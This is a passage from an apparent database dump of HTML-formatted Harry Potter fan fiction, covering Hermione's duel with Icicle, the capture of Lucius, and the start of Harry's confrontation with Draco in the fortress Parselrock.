style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Icicle\nsmirked.&nbsp; &quot;Oh, is that so\nmudblood.&nbsp; Well, be happy then, since\nyou will lose them again if you continue fighting against us!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Want to\nbet?&quot; asked Hermione with a grin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Icicle glared at\nHermione who seemed to be filled to the brink with confidence.&nbsp; Suddenly, she shouted, <i>&quot;Crucio!&quot;</i>\ntwice and fired two curses at her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">At the last\nmoment, Hermione whipped a long staff and deflected the two unforgivables with\nan advanced shield charm!&nbsp; Icicle was\ncaught off guard.&nbsp; She managed to barely\ndodge the first curse but the second one grazed her arm and she hollered in\npain.&nbsp; &quot;H-how did you do that,&quot;\nshe hissed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione twirled\nthe staff around.&nbsp; It was five feet\nlong, and had a golden disk on the end while the staff itself was navy\nblue.&nbsp; &quot;Five feet, cherry, and a\nsingle tail feather of a phoenix.&nbsp; An\nOllivanders speciality staff made specifically for me,&quot; said Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;That\ndeflection had nothing to do with the staff,&quot; hissed Icicle.&nbsp; &quot;Magical wands and staff only channel\nthe wizard or witch\'s magic.&nbsp; That\nshield you just used came from you yourself!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione grinned\nand pointed her staff at Icicle.&nbsp;\n&quot;Lets just say that you\'re facing the one witch who as the top of\nher class every single year of her Hogwarts education.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Icicle hollered in\nanger and fired another curse at Hermione.&nbsp;\nHermione simply deflected it with another shield charm.&nbsp; She swung her staff upward at Icicle and\nIcicle was flung twenty feet away by a magical force.&nbsp; She tried to fire another curse at Hermione but Hermione simply\nswung her staff again and Icicle was flung away.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Lucius tried help\nIcicle but he abruptly stopped when he realized that a wand was being pointed\nat the back of his head.&nbsp; &quot;Don\'t\neven think about it, Malfoy,&quot; hissed a masculine voice Lucius hadn\'t heard\nin nearly twenty years.&nbsp; He fearfully\nturned around to see James Potter pointing a wand at him, with Lily Potter\nstanding next to him, her hand on her wand as well.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;P-Potter?&quot;\nstuttered Lucius in disbelief.&nbsp; Lily and\nJames grinned maliciously.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Icicle fired\nanother curse at Hermione but was once again flung away.&nbsp; &quot;How is this possible?&quot; she demanded,\npainfully dragging herself back onto her feet.&nbsp;\n&quot;You were not this powerful back at Malfoy Manor.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione raised an\neyebrow.&nbsp; &quot;Don\'t you read\nbooks?&quot; she asked.&nbsp; &quot;Its\ngeneral knowledge that a wizard or witch can channel his or her full power only\nwhen their full body is in tact.&nbsp; Since\nI didn\'t have my legs before, I could only access half of my powers.&nbsp; But now that my legs are back, not to\nmention that I have a staff specifically made...&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I get the\nidea!&quot; yelled Icicle, looking annoyed.&nbsp;\nHermione realized that she had gotten carried away and turned a little\nred, clearly embarrassed.&nbsp; &quot;But I\nam still not letting myself be beat by a mudblood!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Icicle raised her\nwand and started to say, <i>&quot;Avada Kedav...&quot;</i> but Hermione was\nfaster when she shouted, <i>&quot;Expelliarmus!&quot;</i>&nbsp; Icicle\'s wand flew out of her hand into\nHermione\'s who promptly snapped it.&nbsp;\nIcicle charged at Hermione in a physical assault but Hermione landed a\npowerful kick, with her newly regenerated right leg, onto Icicle\'s chin and\nknocked her out.&nbsp; &quot;I never thought\nI\'d see the day when I\'d use a physical attack on an opponent,&quot; she said\nto herself.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Lucius tried to\nattack Hermione but James tackled him and pinned him to the ground.&nbsp; Lily walked up to him and hissed,\n&quot;Don\'t Malfoy.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Lucius\ngrowled.&nbsp; He suddenly used a burst of\nmagic to blast James and Lily away from him.&nbsp;\nBefore he could escape however, a large black dog bounded forward and\npinned him to the ground once again.&nbsp;\nLily whipped out her wand and shouted, <i>&quot;Stupefy!&quot;</i>&nbsp; Lucius slumped unconcisous.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Thanks\nPadfoot,&quot; said James.&nbsp; Lily also\nsmiled at the dog.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Sirius transformed\ninto his human form and said, &quot;My pleasure,&quot; with a grin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione walked up\nto Susan and Seymour.&nbsp; &quot;All right\nwitch!&nbsp; Do your worst!&quot; yelled\nSeymour looking threatening.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione stared at\nhim sadly.&nbsp; Wordlessly, she raised her\nstaff at them and their shackles fell off.&nbsp;\nSusan looked at Hermione in surprise while Seymour looked outright\nshocked.&nbsp; &quot;What new trick is this,\nwitch?&quot; he demanded.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione sighed\nsadly and said; &quot;I guess it\'s going to be \'obliviate\' for you later,\nJohn.&nbsp; I\'m sorry for your prejudices you\njust can\'t drop.&quot;&nbsp; Seymour\nspluttered angrily but remained quiet.&nbsp;\nHermione turned to Susan and said, &quot;Susan, I\'m so sorry for keeping\nsecrets from you.&nbsp; I should\'ve told you\nthat I was a witch from the first time we met.&nbsp;\nBut I was afraid of being prejudged in a similar way many wizards have\nprejudged me because I\'m a muggle-born.&nbsp;\nSusan, I just wanted to that I\'m so sorr...&quot; Hermione had tears\nglistening in her eyes when Susan abruptly stopped her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Hermione,\nI\'m the one who should be apologizing.&nbsp;\nI considered you a friend, and yet I immediately assumed that you\nbetrayed us when I found out you were a witch.&nbsp;\nI\'m also sorry for what I did to your legs.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione smiled\nand said, &quot;Don\'t worry about that.&nbsp;\nAs you can see, that\'s been completely taken care of.&quot;&nbsp; She visibly tapped her left foot on the\nground to emphasize her point.&nbsp; Susan\nsmiled and pulled the younger girl into a strong hug.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;This place\nis too dangerous for you,&quot; said Hermione.&nbsp;\n&quot;Take John and follow that dog,&quot; she pointed at Sirius, who\nhad just turned back into his animagus form.&nbsp;\n&quot;You can trust him with your life.&nbsp;\nHe will take you back to the area controlled by the\nresistance.&quot;&nbsp; She nodded at Sirius\nwho nodded back.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Susan smiled at\nHermione before she dragged Seymour away after Sirius.&nbsp; Hermione turned around to see Lily facing\nher.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Hermione,&quot;\nshe said, &quot;Harry is about to storm Parselrock.&nbsp; I want you to go after him.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione looked\nsurprised.&nbsp; &quot;Shouldn\'t you been the\none who should be going with Harry?&nbsp; I\nmean, you are his mother...&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Lily shook her\nhead.&nbsp; &quot;James and I will be gone\nagain after this war is over.&nbsp; Harry\nshouldn\'t live in the past, he should be heading into a bright future with\nyou.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione stared at\nLily for a moment.&nbsp; She and Lily pulled\neach other into a strong hug before Hermione ran off to catch up with Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">While the battle\nraged around him, Harry Potter was standing in front of the main entrance of\nthe fortress known as Parselrock, Ron right next to him looking apprehensive\nyet determined.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry pulled his\nhat lower and said, &quot;OK, let\'s go.&quot;&nbsp;\nRon nodded and the two started to walk toward the doors.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Wait!&quot;&nbsp; Harry and Ron spun around to see Hermione\nrun up to them.&nbsp; &quot;I\'m coming with\nyou!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry did not look\ntoo pleased.&nbsp; &quot;Hermione, its too\ndangerous.&nbsp; I don\'t think...&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Don\'t get\nall chivalrous on me, Harry James Potter!&quot; hissed Hermione.&nbsp; Ron cowered away in fear as Hermione\ncontinued, &quot;I am more than capable of defending myself.&nbsp; And nothing you say or do is going to change\nmy mind!&nbsp; I am coming with you!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry looked a\nlittle angry, but he could see Hermione\'s determination and knew it was no use\nto argue.&nbsp; &quot;Fine, you can\ncome,&quot; he said, looking defeated.&nbsp;\nHermione nodded.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">With that, Harry,\nRon, and Hermione turned around, and walked toward the doors of Parselrock.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N For a second,\nI was afraid I wouldn\'t be able to bring this chapter up in time.&nbsp; But, I typed as fast as I could and here it\nis.&nbsp; I\'m a little behind in schedule but\nI\'ll try to catch up.&nbsp; Anyway, please\nread and review this story.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(146, 14, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&quot;For if\nyou forgive men when they sin against you, your heavenly Father will also\nforgive you.&quot;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:right;layout-grid-mode:char;word-break:break-all" align="right"><i>Matthew 6:14</i></p>\n\nChapter 14: End\nof a Rivalry\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry, Hermione,\nand Ron tore through the corridors of Parselrock as fast as they could.&nbsp; Although most of the dark forces were\noutside fighting the battle, there were still a good many Death Eaters inside\nof the fortress.&nbsp; Each floor had a large\nominous corridor, which was held up by Greek style pillars that ended in a\nmagnificent staircase that led to the floor above.&nbsp; The trio climbed each staircase as fast as they could, since\nVoldemort\'s chamber was on the top floor.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Each floor was\ndefended by some of the most power Death Eaters in Europe.&nbsp; Fortunately, these were absolutely no match\nagainst Harry, and could only offer a minor challenge to Hermione.&nbsp; Ron often felt a little small next to his\npowerful best friends, but he had his moments with his share of powerful curses\nhe sent toward random Death Eaters.&nbsp;\nFinally, after fighting off at least some 142 Death Eaters, the trio\nmade it to the sixth floor of the fortress tower.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;How much\nmore do we have?&quot; asked Ron warily.&nbsp;\nHe was very exhausted from running through sixth levels of the\nfortress.&nbsp; &quot;If we don\'t get to the\ntop soon, I just might as well turn myself in to You-know-who since I won\'t be\nable to fight him because of exhaustion.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione rolled\nher eyes.&nbsp; &quot;Come on, Ron.&nbsp; You can\'t be THAT exhausted.&quot;&nbsp; For her part however, Hermione was amazed\nhat she had absolutely no weariness at all.&nbsp;\nShe realized that it was because her new legs granted her so much more\nrunning power than before.&nbsp;\n&quot;Anyway, we should be there soon.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">After saying that,\nHermione walked through the corridor.&nbsp;\nHowever, when she came in sight of the staircase to the next floor, she\nabruptly stopped.&nbsp; Her eyes widened in\nfear and her body started to shake uncontrollably.&nbsp; She also seemed to have lost her ability to speak, as she just\nstood there, paralyzed with fear.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Hermione\nwhat\'s wrong?&quot; asked Harry coming up behind her, concern written in his\ngreen eyes.&nbsp; He soon saw what was wrong,\nand his teeth gritted in anger.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Standing in front\nof the staircase, wearing elegant silver and green robes, with the image of a\nsnake on the torso, was none other than Draco Malfoy.&nbsp; Harry could understand Hermione\'s fear since he knew how much\npain Malfoy had brought on her.&nbsp; Harry\nreassuringly squeezed Hermione\'s shoulder.&nbsp;\nHermione clutched Harry\'s hand on her shoulder as if it were a lifeline.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Malfoy?&quot;\nspat Ron.&nbsp; &quot;What are you doing\nhere?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Draco made his\ntrademark sneer.&nbsp; &quot;Well, what do\nyou expect, Weasley?&nbsp; I\'m here kill you,\nfight off Potter, and make sure Granger carries my child.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione started\ntrembling fiercely.&nbsp; Harry gently\ncircled his arms around her in an attempt to comfort her.&nbsp; Ron started swearing loudly and was about to\ngo fight Draco when Harry said, &quot;Ron, no!&nbsp;\nLeave him to me.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry gently\npassed Hermione to Ron.&nbsp; Hermione seemed\nreluctant to let go of Harry, but Harry gave her strong assurances, which\nfinally convinced her to let go of Harry and stand by Ron.&nbsp; &quot;I\'ll conquer your fear for you,&quot;\nwhispered Harry.&nbsp; Hermione nodded and\nweakly smiled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry slowly made\nhis way toward Draco who was still smirking.&nbsp;\n&quot;So it comes to this, doesn\'t it, Potter.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;If you say\nso, Malfoy.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;This duel\ndidn\'t just start here, Potter.&nbsp; Nor did\nit start when you took the mudblood from Malfoy Manor.&nbsp; No Potter, this is the climax of everything\nthat has happened between us.&nbsp; Ever\nsince we first met in the Hogwarts Express all those years ago.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Pity,&quot;\nsaid Harry in a mocking sad voice.&nbsp;\n&quot;I\'m going to miss our little rivalry.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Enough chit\nchat, Potter,&quot; hissed Draco.&nbsp; &quot;If\nyou\'re not going to make the first move, I will!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Before anyone\ncould move a muscle, Draco dashed passed Harry with inhuman speed and fired a\nseries of curses at Harry\'s back.&nbsp; Harry\njust barely managed to turn around in time to block the curses.&nbsp; Before Harry could attack, Draco once again\ndashed behind Harry and fired curses at him from behind.&nbsp; This time, Harry rolled away and dodged\nthem.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">When Harry finally\nregained his balance, his former look of confidence had been replaced with a\nlook of shock, disbelief, and even a little fear.&nbsp; &quot;H-how is this possible?&quot; whispered Harry.&nbsp; &quot;You couldn\'t possibly have that much\nspeed unless...&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;That is\ncorrect, Potter,&quot; said Draco with a tone of triumph.&nbsp; &quot;I too am a Battle Wizard!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;What?!&quot;\nyelled Ron in disbelief.&nbsp; Hermione\nstarted shaking again.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry appeared to\nbe the most shocked of all.&nbsp; He simply\nstared at Draco, shock and fear all over his eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" 